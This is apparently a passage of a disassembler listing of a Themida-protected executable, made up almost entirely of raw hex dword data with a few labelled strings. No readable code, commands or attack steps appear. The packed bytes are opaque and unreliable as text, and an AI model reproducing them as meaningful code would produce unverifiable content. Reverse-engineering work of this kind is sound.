5722B222h, 0DF729A73h, 0EED4B06Eh, 0A9154ECDh dd 5675B48Bh, 0BF114232h, 0A9A24E64h, 466C7853h, 0BADCE432h dd 365775B1h, 56D5B1DAh, 0BC6BEB32h, 503EEF7Ch, 5460BB9h dd 9F6EB779h, 59AE8EB1h, 565720B6h, 0A9AC3A32h, 232ABD47h dd 0DE02E13Ah, 2575B132h, 427D3237h, 13D453D9h, 5ADB4ECEh dd 0A95FC4CDh, 56DA5905h, 3CA7B132h, 6F16F4B9h, 0A916C335h dd 29394D77h, 5E29B136h, 56A2CEB1h, 58BCB346h, 0A9544E8Ah dd 56D008CDh, 0FD19B132h, 29F67AD9h, 59CEB422h, 504DCEB1h dd 0DDEFA047h, 9DCB575h, 0DDB65A3Eh, 95EB575h, 0DDF95A3Eh dd 9FEB575h dd 52E59A3Eh, 0D5585AB1h, 23ADA14Dh, 8F7CF033h, 57AAEDBBh dd 0A92A4E8Ah, 56EF08CDh, 0FD86B132h, 9FDB36D9h, 35DB9F0h dd 0DDCE5DB9h, 136CB977h, 6DA3C33Eh, 55A2A177h, 0AFE95ACAh dd 9F14B1D9h, 3BABDF0h, 92DE5DB9h, 5646D1CEh, 0C57B132h dd 98F5BB3h, 9FE6B779h, 0B636A01h, 0AACF3ACEh, 0D5BCFA61h dd 3229B10Dh, 23518EB1h, 42903237h, 292840D9h, 5EA1B136h dd 56E6CEB1h, 5E9EB346h, 0D546F4CDh, 8DB6A5F5h, 53BECEB1h dd 29D4BE46h, 47DEB722h, 52923A73h, 0BDE6EEB9h, 52323A2Fh dd 0BDB6EEB9h, 521A3A21h, 7DA2EEB9h, 0BDD4B56Dh, 46D43237h dd 17D4C431h, 0A636819h, 0A9CDB033h, 0EF454ECDh, 565DB137h dd 0C1451AC1h, 0AA123A53h, 7FB72FBh, 56D55961h, 0D7B0B132h dd 1D2A1ED8h, 42203C34h, 0EE5BFA66h, 56AEB156h, 565763DAh dd 6DA03A32h, 55C15AF3h, 97D1B579h, 1D76A640h, 247B8A22h dd 0BD5F5A30h, 0DBBC5A26h, 1D9970A8h, 0BD784E34h, 0B14F3C3Ah dd 0A9ECFAE3h, 0E2CEAE1h, 0BA31E4F1h, 565DB1DAh, 0BC2FEB32h dd 501CEECCh, 42113C52h, 0DDD3FA66h, 5163B977h, 0DF79F4B9h dd 1331B575h, 5A1A3822h, 0DFBAF4B9h, 9F36A175h, 36ABA1F0h dd 4EFC34F4h, 3EADB777h, 0FE62C228h, 5F6F04CDh, 0D3D0B777h dd 50E6C984h, 0DB0561CDh, 1DFFF1B8h, 862AE034h, 16683C68h dd 5973FA66h, 0DDB6F185h, 6752E3EAh, 0DF6DB268h, 137B0CB0h a4Qrs db '4ΠΓQRθ',0 ; DATA XREF: Themida_:0053F7B8o align 10h dd 815A0000h, 4B606FEAh, 828B5206h, 6452CBDh, 0C64E6DB9h dd 5AE1F741h, 303905h, 0FFFF2500h, 82897FFFh, 6452CBDh aZyQrs db 'ZYΓQRθ',0 ; DATA XREF: Themida_:00540528o align 10h dd 815A0000h, 4B609FEAh, 0E8C88B06h, 0FFFFFFBBh, 0F1F7D233h dd 595AC28Bh, 8BC08BC3h, 0B0858DC0h, 0FF064B56h, 0C18B66D0h dd 6068858Dh, 8589064Bh, 6451845h, 6098858Dh, 8589064Bh dd 64525B5h, 0B8h, 0FC00B00h, 4784h, 2985C600h, 56064518h dd 0C530DF68h, 0D5B5FFA9h, 8D064509h, 4878B685h, 50D0FF06h dd 20158D8Dh, 6A510645h, 10006804h, 0B5FF0000h, 6452209h dd 0BD8BD0FFh, 6452209h, 813C7F03h, 0F8C7h, 2447C700h dd 60000020h, 0B3D9D8Dh, 38B0645h, 840FC00Bh, 5, 4389008Bh dd 4CF6B904h, 0DE80023h, 78000000h, 0EE6B2DA8h, 0A87FEFAFh dd 1CDE30EAh, 5FD98166h, 816658CDh, 81BEDECBh, 5E04C0h dd 0DABF0F00h, 175768h, 0D9816600h, 0F5E860Ah, 108BC8B7h dd 670AEA81h, 0C3814201h, 40F3B8D7h, 1502EA81h, 0DE92FACh dd 37000000h, 1C94F107h, 0D40BA653h, 0CE572551h, 0EB14C281h dd 8B661F7Eh, 13E952CFh, 38000000h, 70894317h, 0BF66644Eh dd 813A0F7Eh, 0AC8A597Eh, 8FB616h, 5870Fh, 32BF0000h, 81623400h dd 0B9E548E8h, 0EDC1817Fh, 816ED159h, 0B9E544C0h, 0F4EFC7Fh dd 0FFFF9185h, 8860FFFh, 0F000000h, 28Ch, 8DDA8B00h, 4B62888Dh dd 0B1B58B06h, 8906451Ch, 452A018Dh, 0B1958906h, 0C7064523h dd 4503D585h, 5FD006h, 0C71CB700h, 45095D85h, 6, 0EF816600h dd 0B5FFDC29h, 6451281h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 4CC35141h, 586D344Dh, 958B278Bh, 6450501h dd 2A1195FFh, 6A0645h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 7B72CFC3h, 95FF006Ah, 6453121h dd 49EBC08Bh, 0C459F0A8h, 1F07F551h, 7FE656D7h, 147FCBD9h dd 97F7C220h, 674033D9h, 4EAD6BDAh, 0E7B94EFFh, 0CD8D7FFAh dd 0CF1AB17Ch, 0DA64826Ch, 480086CAh, 6D3610FEh, 83364E52h dd 7CE64F6h, 686C9D6Eh, 0B75CB0D6h, 872D2C98h, 0AA8D8DF5h dd 6A064B63h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0FBCC353h, 384h, 0F6BF0F00h, 0B0C28166h dd 18D8908h, 8B06452Ah, 45024D9Dh, 0D585C706h, 0CC064503h dd 6A000061h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 754FC351h, 2493B344h, 7EB8166h dd 5D85C790h, 64509h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 0DB34C353h, 11C5B5FFh dd 6A0645h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 44681AC3h, 46B38904h, 8523F7F0h, 64509E1h dd 2A1195FFh, 0BB660645h, 6ACD95h, 312195FFh, 0C08B0645h dd 173F0BEBh, 0B884F300h, 0BEDE423Fh, 708D8DF7h, 8B064B64h dd 45241D9Dh, 18D8906h, 8906452Ah, 4520D1B5h, 0D585C706h dd 0FC064503h, 6A00005Eh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 8804C351h, 0EE9h, 34D50000h dd 9752ECF5h, 9075034Ah, 0C7F53216h, 45095D85h, 6, 0BE95200h dd 0A8000000h, 0A698615Bh, 5BC4BBF2h, 0FF5E400Dh, 4510ADB5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 4F152F0Bh, 490C1983h, 9E9h, 9CAE3F00h, 1259767Ch dd 95FFB63Ah, 6452A11h, 88AEBA66h, 95FF006Ah, 6453121h dd 5CEBC08Bh, 5C1E6734h, 0ADF95D65h, 107FE724h, 5CAD341h dd 95126246h, 76697C65h, 5559132Ch, 60565972h, 7656E5Fh dd 7EF6CD0Fh, 0C606C6E0h, 612B0D5Ch, 80E62188h, 9C518D3Bh dd 0C6D74FA9h, 4A013053h, 30EE524Dh, 5264BA92h, 6B79A2FFh dd 0BB8B4C7Ah, 0B26A7B1Fh, 0B8EF922Fh, 32967240h, 8EBh dd 907F0000h, 0D1E93957h, 68000004h, 64B65E9h, 0FA18F0E9h dd 666968FFh, 0E6E9064Bh, 68FFFA18h, 64B67F2h, 0FA18DCE9h dd 3AD13EFFh, 0DA6357A2h, 4607F742h, 0E1A413E6h, 8B40AE7Bh dd 6D27BF11h, 8752CA7Fh, 25F46815h, 429715B4h, 5128B44Fh dd 0F5E8F729h, 0F581800h, 0D29D3377h, 6E1800F5h, 0C05391E5h dd 0AC7D3DD2h, 5ADB8F38h, 0B225FCD4h, 0FEDF9517h, 1A90F4Fh dd 0B70FF09Eh, 1286C2Eh, 8BAAF091h, 0FA96BEA1h, 0C3D50217h dd 0D0D1B951h, 0F8D026A3h, 0FAD8FDD6h, 34D1C317h, 9A23976Eh dd 0F7C311C4h, 47B7AD39h, 0CE5154ECh, 0D4869F89h, 0DEC055D2h dd 30E8Dh, 887A3F00h, 0D565D4F1h, 0F08A07F3h, 0D24B10Fh dd 1614EB6Fh, 0DC6DA81Bh, 17B23C92h, 0C70C139Bh, 0C57451A3h dd 0CF3E4B5h, 0C56EEB9Ch, 0E93F7F61h, 430F839Dh, 0D06B5E0Fh dd 7364745Ah, 0CDDE19E0h, 0F8792DDCh, 776A337Bh, 168950CCh dd 8502C333h, 0D5E7D89Dh, 51078374h, 341h, 9715BC29h, 37B54E42h dd 0CB51F2E2h, 60FC8F7Eh, 6662B99h, 6A583C44h, 0F247A5h dd 9F10D943h, 3AAD7CE0h, 327C1D8Fh, 0F6D39Ch, 26E26F18h dd 9BD3625Bh, 98239647h, 609233C2h, 6FC59426h, 0AB85AB2Fh dd 190FFFCFh, 17FE39E8h, 87042EAEh, 45E45AF7h, 112C1BE8h dd 9A08D19Dh, 5870A2D1h, 65E2020Ah, 57C43207h, 559A667h dd 20A895Bh, 0AF5A4D18h, 0ED5AF887h, 4117936Ah, 2C1h, 17953CA9h dd 0B735CEC2h, 4BD17262h, 0E07C0FFEh, 86E6AB19h, 0EAD8BCC4h dd 8072C725h, 1F9059C3h, 0BA2DFC60h, 0B2FC9D0Fh, 0F7531Ch dd 0A662EF18h, 9BD3625Bh, 0FEFE0B25h, 94F7520Fh, 9C404A5Dh dd 0C81DBA30h, 0BFFAE92h, 1D2FC72h, 5718009Fh, 0E6B4C9h dd 5BDEC5B0h, 1D7h, 32CDC069h, 6959006Ch, 8FB52D8h, 8916B325h dd 442B8DC1h, 0FC11B591h, 8241B277h, 47D95DDCh, 8645B667h dd 0FA4B4230h, 0A1E41EB0h, 1520FF0h, 0C360735Dh, 2A3617FAh dd 0D45F4713h, 7638DEBFh, 8A000000h, 9A02F855h, 0C6062ECEh dd 628B0270h, 6E8FD370h, 4415A9E1h, 133DB156h, 0FF10003h dd 6C7228BDh, 17FAFA77h, 0EBBF4ABDh, 0F83E2187h, 718217FAh dd 0D48A3DACh, 914C5193h, 0AEE36021h, 0BF4ABD6Ch, 0CC94A93Bh dd 113FAE1Dh, 0DEF4DF54h, 0EC0D51DEh, 2930674Bh, 0DE541F5Ah dd 0C03D0E98h, 249445DEh, 0C2AFEF63h, 63000000h, 517749BAh dd 17FB1A8Eh, 0AE24A132h, 32CDC09Ch, 6227956Ch, 0B929F03Ch dd 584B8208h, 0AD20F9ADh, 7F2A8A12h, 417B31B5h, 715FD365h dd 11B63144h, 0F4681386h, 0ECAE1FBEh, 0FDC7F0CAh, 0BCF0460Fh dd 0FDDB551Ah, 0B498ED17h, 17FDDBABh, 0D865CE17h, 0F731F6A4h dd 5D0C4ECBh, 1458DE6Bh, 0F8B25745h, 8B0FC231h, 15885115h dd 0BF2DE46Ah, 0D9FEE1C7h, 314217FDh, 2BF392B4h, 886AE9h dd 13856h, 0EC53200h, 0AE574B9Eh, 4AFBEB3Eh, 0F59807D2h dd 9F34A277h, 61334B0Dh, 0FB4EDE73h, 19E07C09h, 0B68319A8h dd 6524B843h, 0F8DC8325h, 1B641800h, 19D2C03Dh, 51D87412h dd 2EBE3BB8h, 0CF5DE8DBh, 32CDC091h, 6722956Ch, 384A105h dd 9E95D597h, 0BB48BA6Fh, 0D5404537h, 0AC309C3Ah, 8BC34070h dd 0D29D3377h, 6E11B667h, 6C7355E5h, 0D411B667h, 52250B8Fh dd 0EE0FF199h, 9104D565h, 6D3C60F6h, 0D980CA7Fh, 3AD45AE7h dd 8540B37Ah, 0F4DA50E1h, 17FBB7DFh, 9517B225h, 0EDB15644h dd 98EBh, 0C6FEAB00h, 0FE6F0AEBh, 5B3F0D81h dd 0E6331E62h, 0DFF99805h, 36F6F9D3h, 0C53411B6h, 0D552A302h dd 0A3092385h, 22B30FFFh, 0B1504168h, 8EC64CEDh, 0A339C437h dd 0D25B66C3h, 94347A71h, 29D4C71Eh, 0D9F36B75h, 1240DCF4h dd 22DDD00Bh, 0C17C6FBAh, 5FF0E089h, 0BB2A83DBh, 0D3155208h dd 0E1D39ACAh, 0CD2837E9h, 4B98571Eh, 1E9148CEh, 0BD30F963h dd 0CD06E9CFh, 29BA571Eh, 6AAEE2ACh, 1ECDABB4h, 0EECE1757h dd 571ECE01h, 1EF3441h, 93E7164Ch, 39D3Bh, 6FE70000h, 3CD3C071h dd 611C8F66h, 0D473643Dh, 38C5378Eh, 681D8B62h, 0D86D5B32h dd 9BC2B82h, 7B0CFC55h, 0A15A4E27h, 0EC8376FDh, 48F5404h dd 24048324h, 4EC8104h, 89000000h, 0C168243Ch, 8900001Fh dd 0FE68242Ch, 8B064B64h, 0C483243Ch, 2C8B5404h, 4C48324h dd 179F68h, 243C8900h, 0AD240481h, 8F464340h, 6D810845h dd 4340AD08h, 2434FF46h, 4C4815Dh, 0FF000000h, 815F2434h dd 4C4h, 142BE900h, 33BFFFFAh, 4B694FB8h, 0FFC50306h, 1A5E36E0h dd 0AB13084Dh, 24FCAD6Dh, 189DBD49h, 0C2C69669h, 0D8B08B21h dd 18CF3514h, 0B877CF6Ch, 0F197D114h, 55949870h, 0EEF7F646h dd 3B08534Bh, 8FB2E06Bh, 529C4577h, 0EDA44C3Eh, 0BDE17C27h dd 0A2B0637h, 0AEA72C4Bh, 823E036Ah, 95157770h, 3908EB6Ah dd 7370CAh, 0E9000000h, 0B86h, 4B6C0668h, 0DB9CE906h, 0C568FFFAh dd 0E9064B6Ch, 0FFFADB92h, 4B6EAE68h, 0DB88E906h, 8C68FFFAh dd 0E9064B6Fh, 0FFFADB7Eh, 4B714168h, 0DB74E906h, 3068FFFAh dd 0E9064B73h, 0FFFADB6Ah, 4B742E68h, 0DB60E906h, 823CFFFAh dd 32CFC108h, 646315A4h, 99316BF2h, 0CFC6BE01h, 0B6CD0E51h dd 80CB4578h, 0D21DF708h, 23AA3CDAh, 72FD5569h, 75F3BFE9h dd 5B2D56D9h, 6363B7CFh, 0D71577F7h, 17BA2BFCh, 8D1190B3h dd 33A1AE5Bh, 0E953C275h, 5AB9FDD5h, 55DE779Bh, 0E278EEEBh dd 0E297264Dh, 94EAAA1Ch, 0A94C9A56h, 0DD8233A1h, 98A360BAh dd 3F6D355Eh, 0BA2CE481h, 142D5C98h, 1BE3CA3h, 5A88409Ah dd 382D5C98h, 2A8D79F0h, 6EAA2710h, 91066028h, 67C82D5Ch dd 3ACBFCh, 0F4D0000h, 0A872ECE1h, 2D5C913Eh, 0C6B42F90h dd 68289E9Ch, 5F3FDFA0h, 0F1B9FF35h, 2D5D3F77h, 0D86F659h dd 69DE6093h, 3FC71DF5h, 654D2D5Dh, 6DB738CCh, 2B9EAA26h dd 0B8000001h, 29F8184Bh, 15E289A4h, 1681BD93h, 0BC274ABAh dd 7F9BC8C4h, 8CE644EBh, 779DE771h, 1A8C0459h, 59F877F7h dd 0D61CB715h, 0D0BF4A84h, 8C00789Bh, 4CC0212h, 33A19DE2h dd 0F9117BECh, 67CF661h, 0B335FD8Eh, 1D33A19Dh, 9D5D8B47h dd 0CC7333A1h, 53AB3259h, 33A199DBh, 420E7F97h, 33A1A224h dd 8426B04Ch, 8D30A72Bh, 0DC4A4A42h, 28A6CC9Eh, 4E463CBEh dd 0BE259AD0h, 0AFDCA207h, 0D17BA14h, 0FE1F22A2h, 3EDB2BA2h dd 16BD32A8h, 6CD59DEFh, 0C4355F06h, 92F8C813h, 0F673E274h dd 80C65EE8h, 5CE69EC8h, 0DD8F302Dh, 7202B525h, 185498B6h dd 3741F62Fh, 0EAAA24D9h, 599507BCh, 0B634A223h, 0D8639239h dd 58762DA0h, 0F4629ECEh, 69654F41h, 798597F4h, 8E40Dh dd 0F36B6500h, 0F993068h, 5DCFC4BCh, 0E87E9A12h, 38962F61h dd 0DF11A4B1h, 6F21A826h, 3973FA54h, 0C8C00B83h, 4A135A34h dd 0D7D412DEh, 6EFA2D56h, 0F4626316h, 0D7ED1B65h, 2948E747h dd 78C35F77h, 0C81EEA28h, 0A533A243h, 0FCCB1349h, 2196D871h dd 9E9CC4B6h, 0DFA06828h, 31355F3Fh, 6EF42C8Eh, 142D5D3Fh dd 0E9165DCh, 25AA266Dh, 93h, 0A05D4B41h, 39D58F36h, 5E770DA1h dd 0FAB26AC0h, 0B633A23Fh, 4739801Eh, 1E9BD34Fh, 0A8EEB600h dd 40489E6Ah, 0D18633A2h, 51E35CA6h, 8A3D355Fh, 1EA8B643h dd 0A04F4A06h, 7AED2F18h, 0A731CC3Ah, 0F7619C14h, 0F425DDD5h dd 0B9CD1197h, 825h, 2BB22CA6h, 7FCE5871h, 0CD1C8E05h dd 20AB3FDBh, 70FB5568h, 0E71ED063h, 15AEE669h, 427830BBh dd 0F70F81C8h, 1D0BD01Bh, 56D81355h, 5131BD2Dh, 65F46263h dd 0B4079333h, 8CDA96D4h, 4233A243h, 63087A9Dh, 2943263h dd 0CF0D5F9Fh, 0A243E503h, 0DD44EB33h, 6CFF6B6Bh, 3741F7CBh dd 9A822D9h, 4386B37Fh, 8B24355Fh, 0A958EFFCh, 0FC42F5F9h dd 6599134Bh, 0A03A9428h, 5F51980Fh, 46692BA7h, 7806865Ah dd 0D8F058B3h, 0CD9FD74Eh, 3BB32FA7h, 7C891D84h, 0B5B01660h dd 8804C079h, 39D5CF1Eh, 48FF6964h, 1472B012h, 489E6CFEh dd 60B29E5Fh, 0C37CFE68h, 55A9C87Fh, 0B29E5F10h, 4387BEFAh dd 0C84D743h, 86C466F0h, 5E5E8840h, 0CF70B29Eh, 5F14E54h dd 0B682DD12h, 2A2EB870h, 3FA0B4A6h, 0BB57EE84h, 1B3C3F08h dd 0E312A3B6h, 40D05B9h, 75B82460h, 0D0F94C64h, 49FC07C0h dd 0EDE19B22h, 7DABF975h, 6A3D244h, 3AF68E38h, 0B662B971h dd 40F178EFh, 76B4CC7Ah, 0F268E218h, 0D9937BFDh, 0B4DB54F9h dd 2651CBC4h, 0A626ABDCh, 0A2F265BCh, 0A4DF4944h, 268DD60Eh dd 24DDB4A6h, 454238B2h, 5E1C9BD3h, 0D41CE6E7h, 8206E91Dh dd 0DB2D22DDh, 49000003h, 6F85DA2Ah, 0CC63FB57h, 0DC0674D9h dd 44FF63C3h, 0EFA91FE3h, 5E63EA23h, 5B742635h, 0AFD26DC1h dd 25E63CF2h, 68AEAE5Fh, 572246A0h, 0BC2788ACh, 0F711273Bh dd 4146AD43h, 0D016D2A2h, 0FEAC567Ah, 96522249h, 0AE137301h dd 0E0A238AFh, 9789C9CFh, 16D2DE91h, 0B293DFD0h, 522249FEh dd 93DF5096h, 0AEC97EB2h, 4D463509h, 1CD4ACD3h, 0B45C0758h dd 317701B6h, 536E3FDBh, 7D275EC5h, 2686C941h, 35B35C8h dd 0B35335ACh, 9DE72527h, 75710B0h, 63C63h, 5B33CD00h dd 0F7619810h, 5972C64h, 50C6C2BAh, 0E07E9709h, 7C97C59h dd 0D7C9108Eh, 611BA23Ch, 3068F36Bh, 12BB029Ch, 0D62CBA76h dd 6A22D56h, 0BD754B4Eh, 33A2442Bh, 268332A5h, 7896EE58h dd 0DF90CA44h, 1B1CD4A4h, 75355F43h, 0E81F8B07h, 0A843872h dd 0DE1727D0h, 0D5AF19E5h, 1A3C1C1Dh, 78C3742Fh, 0D8128C00h dd 5C7122A2h, 0C11F5FC2h, 0EE7895F3h, 2A40F34Ch, 663FD713h dd 0C37CFE68h, 44AB0D5Ch, 13A3E169h, 2BAh, 56C0FF15h, 6CFAB614h dd 6233A237h, 7F2F56FDh, 68289E9Ch, 695E32A0h, 692B9C35h dd 0CB1DD52Bh, 0E32D56D9h, 7AED75E5h, 0F26C61DBh, 0A7B6196Bh dd 0CA620BEEh, 6BE51E4Eh, 63C57CF3h, 9E76F462h, 57CA5C1Fh dd 0EDEF7B9Bh, 6E42F1E1h, 5E8DF905h, 0EF000005h, 0BAF27DD5h dd 4E46891Fh, 1C9427B1h, 0B1EB72E4h, 1A3B821Ch, 3EA825EBh dd 40DAF5AFh, 910987F9h, 20BE564Eh, 9C543499h, 2D56D54Ah dd 9C68E884h, 0A068289Eh, 35695E32h, 0CD1FAB9Ch, 0B87658FDh dd 23A3D915h, 506C24B7h, 0D015BEC6h, 4FBC40FEh, 1775F918h dd 7793C0F9h, 41F44BE3h, 0AEADE25Ah, 0C9682828h, 91E37F97h dd 0A9C85E7Bh, 56EFCB05h, 22B44CBAh, 0D80EDA88h, 0F62D5676h dd 0C1BBDA41h, 0B063D5CDh, 71ED7F94h, 6811CBFEh, 7F41883Fh dd 0AA2D5678h, 758CFA38h, 4ACD1BE3h, 5C032D56h, 1C00C25h dd 63560000h, 47ADF763h, 506FD149h, 0B5175FC6h, 442DBB77h dd 0F9A333A2h, 0BD244BC3h, 0C55FCBCBh, 1BBA14AFh, 1D2B37C0h dd 92B2D496h, 0D95BCEE6h, 5EAF7411h, 43319235h, 13FF319Dh dd 6D1DAFA5h, 0ED1044B0h, 62950583h, 1BF36BDCh, 2D5C52C9h dd 3ECA634Bh, 0AA2756B9h, 0E37B91FFh, 544DF44Bh, 43h, 5D709EDCh dd 4AAD3BC3h dd 0BC232D5Ch, 32A537CCh, 289E9C40h, 3FDFA068h, 8E31355Fh dd 3F6EF42Ch, 2BE2D5Dh, 0A55C5694h, 84EABB33h, 46C32CADh dd 0ADD5775Fh, 0BDB4FC06h, 26D06649h, 0B24DAAh, 63E90000h dd 47ADF763h, 0BA3D24Ch, 4923359h, 0BC2AAB9Dh, 0DE48443Eh dd 70EEE69Ch, 3F9915E9h, 3DD133A2h, 819D1AA5h, 3FD80EDAh dd 0ACF633A2h, 0A23F82E4h, 749B4C33h, 5E71B7C1h, 0DE45A6DDh dd 0EF2DBA54h, 41D763EDh, 0BA63BBDAh, 16355D0Bh, 4B9D7A1h dd 0B449438Ah, 2D426D5Ah, 0AFD2A8F6h, 0B14C2BADh, 0C7A33B91h dd 3A9h, 0A736A022h, 0FB42D4EDh, 49900A81h, 9C2FBB57h dd 0EC7FE9E4h, 7B9A54EFh, 0A92A62EDh, 0DEF4AC3Fh, 0B8BFD4Ch dd 99874C9Fh, 56D297D1h, 0D5AD392Dh, 65F46263h, 0E8879333h dd 1945B438h, 0C523EFA9h, 0B33A162h, 0FCAE31A4h, 77F76363h dd 2CE4813Dh, 33A243BAh, 0AD3CA314h, 0F0803604h, 5F337338h dd 0E07AED35h, 0DF4944A2h, 5CC7576Dh, 5D141A46h, 5694EA2Dh dd 5D144C9Ah, 62844C2Dh, 6C2D5D13h, 98C077FBh, 0FC73EB65h dd 2318D145h, 69AFE95Fh, 31F98203h, 2D5D13B7h, 5903B619h dd 71B52CA6h, 2F1A03BCh, 93D1A314h, 0A24391D7h, 69883F33h dd 6363D4D6h, 813D77F7h, 9D3A7889h, 0FD72E862h, 0CB6CE7D6h dd 0D29EDCA4h, 33A22E94h, 0DB62953Ah, 0E8062689h, 0B322178Ah dd 6DDBA700h, 0CB1DD52Bh, 0E333A18Bh, 44FB73E7h, 5A2A4DF2h dd 5E7AF58Eh, 146CD335h, 1456C0FEh, 0D0B2385Bh, 0BB90D692h dd 969D2D5Ch, 1977B23Ch, 9A81FA3h, 5C626FF5h, 64DD152Dh dd 27460F90h, 2026AAh, 9C400000h, 0A068289Eh, 355F3FDFh dd 0F42C8E31h, 2D5D3F6Eh, 9165DC14h, 0AA266D0Eh, 0F925h dd 63634100h, 0A36FADF7h, 33A24445h, 72ECE18Bh, 0A1D047F8h dd 0C05E770Dh, 62FC106Ah, 4112B2C8h, 0F2743C49h, 0DC33A243h dd 0C966C46Bh, 1FB4D2A2h, 679E518Dh, 6F668CDCh, 0F0BC46F1h dd 8833A23Fh, 6C9A9A74h, 85E2A51h, 0C633A240h, 0F04BEA11h dd 8A8A04B8h, 0FE1852D9h, 2C1CACA4h, 16A90597h, 0CCD247EFh dd 356E3A7Ah, 93355EC6h, 84C6D0E9h, 0BCA5CCE1h, 2798D279h dd 0F8AE0B0h, 4BEA4599h, 87B47F0h, 0A0F067F1h, 187629E8h dd 40D0872Fh, 7B3DAB2Ah, 3D6F9148h, 53750697h, 0F4CF011Ah dd 0EC77EE15h, 8D8F19B4h, 97F4F01Dh, 0BAB9CD11h, 53000001h dd 1E96D9B1h, 0B2EA75E3h, 40388315h, 158FDE48h, 0FEDF6EF8h dd 9A748947h, 2CA65953h, 7DEDEB9Dh, 8C1ABAF2h, 0C088983Dh dd 2D56D0A6h, 63C4BC28h, 1B65F462h, 9D0831A8h, 0C6719353h dd 61E8669Eh, 7AD4E907h, 9E9C6BDBh, 0DFA06828h, 31355F3Fh dd 6EF42C8Eh, 142D5D3Fh, 0E9165DCh, 25AA266Dh, 0E0h, 32636341h dd 5EC8C596h, 6426842Bh, 0FC67F10Eh, 859F0984h, 67C7536Fh dd 4705A9C8h, 441F4901h, 0EB133A2h, 3F9F0F97h, 3BDB33A2h dd 3F608642h, 0F96E33A2h, 7D910B52h, 67333565h, 0D47B2B55h dd 0A91FE396h, 480223EFh, 5C4E355Eh, 0D711D9A6h, 0F92D5C47h dd 348B2356h, 0A5B93E81h, 6F490113h, 0F2F17BAh, 0F5E701C9h dd 83E9339Fh, 0F6619402h, 12BDC768h, 9CF84958h, 4FD97845h dd 6232AC21h, 6302642Ch, 1BCC339Fh, 962F61F8h, 635A0038h dd 4A9097F4h, 0BC3Eh, 0DBB34D00h, 77E11890h, 8517ACE4h dd 0D046423Ah, 60FE1789h, 8749FCD9h, 5749900Eh, 0E19B22BCh dd 0B0E873EBh, 923B821Ch, 0CFAC3AF6h, 86222D56h, 746263CEh dd 0E94C59E0h, 0CE1FB5B8h, 2F29567Dh, 215BE209h, 0F8AA35ADh dd 77F76363h, 0C609813Dh, 999B2D31h, 695D9FD1h, 0F68E3135h dd 0D96EF8B0h, 0FF602D56h, 7DE4768Dh, 970383F9h, 0E3B04C44h dd 6BC376E0h, 8E40B2B3h, 53B9FFE2h, 2B8426B0h, 0A74BE288h dd 0A97BB0Ch, 31A828BEh, 0A31A6C0h, 1E4ED062h, 7BF476E0h dd 0F26C60D8h, 59D316Bh, 6DFD1573h, 8E0A60CAh, 955C218h dd 4ED8F430h, 910985FFh, 3295Dh, 3EC90000h, 0E9616344h dd 0B873F75h, 0AB23D9D3h, 0CC467933h, 6FF9146Eh, 8E18B5CFh dd 2CBA562Ch, 4DDFF48Eh, 0E87E9B11h, 8953CE72h, 9FBA52E3h dd 0F757F15Ah, 81E2D1DAh, 1D4AC6F2h, 5AD30150h, 8704EB83h dd 685C241Ch, 5E47h, 51243C89h, 0C181E189h, 4, 8704E983h dd 895C240Ch, 0EC81242Ch, 4, 0B8240489h, 64B6A5Fh, 8158C789h dd 4ECh, 24248900h, 4240483h, 8BB535Dh, 1000000h, 38F57EBh dd 2434FF5Bh, 4C4815Dh, 8B000000h, 8957243Ch, 4C781E7h dd 83000000h, 3C8704C7h, 2BE95C24h, 0A0FFFAD0h, 4DC1C350h dd 0BDE674D7h, 0FB8F641h, 3064B75h, 0BEE0FFC5h, 0B81490FAh dd 0A94D6B0Bh, 0D35647C8h, 0E8589C47h, 7, 6467AAD6h, 660BB629h dd 5AA53BBBh, 0C2815E51h, 6D80h, 88F0Fh, 0F600000h, 86h dd 2B686100h, 8000001Bh, 575F66F7h, 0CE951h, 1050000h dd 0E43885C5h, 0AB10498Ah, 595B72C8h, 58FC32FFh, 697BC081h dd 0DE94C28h, 0C5000000h, 44331D16h, 645BFDE1h, 788433DDh dd 74BEC081h, 31BB13E6h, 811A54C3h, 0A5398AC0h, 289FC72h dd 5E8h, 0CD8F7000h, 10E9A876h, 0D8000000h, 4BAB4138h dd 6D4BF680h, 0AD5AAE55h, 5B9C5AC7h, 8104EA83h, 1F5B1AD1h dd 1EF8113h, 0F000000h, 2285h, 0AE800h, 0B03B0000h, 2F2D74Bh dd 5FEAB1ECh, 850Fh, 0E9590000h, 18h, 8DDA395Ah, 8BB3CDFAh dd 0FF72E9F7h, 3330FFFFh, 5C448089h, 86F72B8Bh, 8E8h, 0B0877200h dd 33D792A7h, 0C3BF0F06h, 0CF80605Bh, 13840F02h, 0E8000000h dd 0Dh, 281AC02Eh, 6743B5EDh, 77865B67h, 81615BAAh, 74DAC3h dd 0D2816600h, 0FF33F0C3h, 8B39F280h, 81FC3B0Ch, 0C21757C1h dd 8124B004h, 75B866F1h, 0D38B661Eh, 9338C181h, 81662A99h dd 519202C2h, 48FF18Ah, 0C6B70F3Bh, 0FE9h, 7A7F3100h, 164C77E8h dd 8AD06816h, 0C5615E6Dh, 0D2EBEF81h, 9FBA1B02h, 8111EDB3h dd 2D2E7C7h, 11E9511Bh, 0BF000000h, 8C0D6FC4h, 0BF10BDAFh dd 272ED978h, 0C93E9943h, 0D0FF815Ah, 0FFFFF8Bh, 0FFFF8E85h dd 8DD48AFFh, 4B784D8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 6B108923h, 18D8923h, 8B06452Ah dd 45085DBDh, 0D585C706h, 0D8064503h, 6A000072h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 0C48CC350h, 60077B5Ah, 20019501h, 9D890645h, 6452189h dd 5D85C761h, 64509h, 0E8000000h, 0Ch, 0D2D1A9B6h, 2B881B38h dd 1CBCFAD2h, 699D0156h, 5B06452Ch, 61B5FF5Eh, 6A06450Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 37FEC357h, 